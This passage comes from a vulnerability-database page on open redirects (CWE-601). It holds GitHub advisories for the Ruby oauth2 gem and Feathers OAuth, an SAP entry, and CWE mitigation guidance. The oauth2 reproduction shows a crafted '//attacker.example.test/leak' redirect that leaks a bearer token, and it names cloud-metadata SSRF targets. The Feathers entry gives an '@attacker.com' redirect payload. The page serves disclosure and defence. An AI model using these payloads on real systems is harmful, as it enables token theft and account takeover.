https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (\u2265 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses \u2014 useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed \u2014 the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday\u0027s `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 \u00a75.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input\u0027s host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` \u2014 same host as the IdP \u2014 and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 \u00a75.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-pp92-crg2-gfv9",
  "modified": "2026-07-28T16:32:45Z",
  "published": "2026-07-28T16:32:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby-oauth/oauth2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host"
}

GHSA-PPF9-4FFW-HH4P

Vulnerability from github – Published: 2026-02-19 20:32 – Updated: 2026-02-23 22:26
VLAI
Summary
Feathers has an open redirect in OAuth callback enables account takeover
Details

Description

The redirect query parameter is appended to the base origin without validation, allowing attackers to steal access tokens via URL authority injection. This leads to full account takeover, as the attacker obtains the victim's access token and can impersonate them.

The application constructs the final redirect URL by concatenating the base origin with the user-supplied redirect parameter:

// https://github.com/feathersjs/feathers/blob/dove/packages/authentication-oauth/src/service.ts#L158C3-L176C4
const { redirect } = query;
...
session.redirect = redirect;

// https://github.com/feathersjs/feathers/blob/dove/packages/authentication-oauth/src/strategy.ts#L98
const redirectUrl = `${redirect}${queryRedirect}`;

Where: - redirect = base origin from config (e.g., https://target.com) - queryRedirect = user input from ?redirect= parameter

This is exploitable when the origins array is configured and origin values do not end with /. An attacker can supply @attacker.com as the redirect value results in https://target.com@attacker.com#access_token=..., where the browser interprets attacker.com as the host, leading to full account takeover.

Credits: Abdelwahed Madani Yousfi (@vvxhid) / Edoardo Geraci (@b0-n0-b0) / Thomas Rinsma (@ThomasRinsma) From Codean Labs.

Severity
7.4 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.39"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@feathersjs/authentication-oauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T20:32:15Z",
    "nvd_published_at": "2026-02-21T04:15:58Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\nThe `redirect` query parameter is appended to the base origin without validation, allowing attackers to steal access tokens via URL authority injection. This leads to full account takeover, as the attacker obtains the victim\u0027s access token and can impersonate them.\n\nThe application constructs the final redirect URL by concatenating the base origin with the user-supplied `redirect` parameter:\n```javascript\n// https://github.com/feathersjs/feathers/blob/dove/packages/authentication-oauth/src/service.ts#L158C3-L176C4\nconst { redirect } = query;\n...\nsession.redirect = redirect;\n\n// https://github.com/feathersjs/feathers/blob/dove/packages/authentication-oauth/src/strategy.ts#L98\nconst redirectUrl = `${redirect}${queryRedirect}`;\n```\n\nWhere:\n- `redirect` = base origin from config (e.g., `https://target.com`)\n- `queryRedirect` = user input from `?redirect=` parameter\n\nThis is exploitable when the `origins` array is configured and origin values do not end with `/`.  An attacker can supply `@attacker.com` as the redirect value results in `https://target.com@attacker.com#access_token=...`, where the browser interprets `attacker.com` as the host, leading to full account takeover.\n\n**Credits**:  Abdelwahed Madani Yousfi (@vvxhid) / Edoardo Geraci (@b0-n0-b0) / Thomas Rinsma (@ThomasRinsma) From Codean Labs.",
  "id": "GHSA-ppf9-4ffw-hh4p",
  "modified": "2026-02-23T22:26:31Z",
  "published": "2026-02-19T20:32:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/security/advisories/GHSA-ppf9-4ffw-hh4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/commit/ee19a0ae9bc2ebf23b1fe598a1f7361981b65401"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/feathersjs/feathers"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/releases/tag/v5.0.40"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Feathers has an open redirect in OAuth callback enables account takeover"
}

GHSA-PQ47-C3JX-FWQP

Vulnerability from github – Published: 2022-11-09 12:00 – Updated: 2022-11-09 19:02
VLAI
Details

Due to insufficient input validation, SAP Financial Consolidation - version 1010, allows an authenticated attacker with user privileges to alter current user session. On successful exploitation, the attacker can view or modify information, causing a limited impact on confidentiality and integrity of the application.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-41208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-08T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to insufficient input validation, SAP Financial Consolidation - version 1010, allows an authenticated attacker with user privileges to alter current user session. On successful exploitation, the attacker can view or modify information, causing a limited impact on confidentiality and integrity of the application.",
  "id": "GHSA-pq47-c3jx-fwqp",
  "modified": "2022-11-09T19:02:24Z",
  "published": "2022-11-09T12:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41208"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3260708"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Mitigation MIT-21.2
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-178: Cross-Site Flashing

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.

← Back to the CWE list